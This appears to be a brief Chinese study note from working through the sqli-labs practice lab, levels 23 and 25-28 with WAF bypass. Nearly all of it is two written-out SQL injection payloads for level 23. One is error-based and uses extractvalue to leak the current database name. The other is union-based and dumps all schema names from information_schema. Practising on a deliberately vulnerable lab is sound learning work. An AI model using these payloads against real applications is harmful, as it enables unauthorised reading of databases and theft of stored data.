sqli-labs:23/25-28,绕waf时间:2023-03-09 17:13:59 sqli23: and|or型报错 ' or extractvalue(1,concat(0x7e,database())) or '1'='1 union型嵌套select ' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3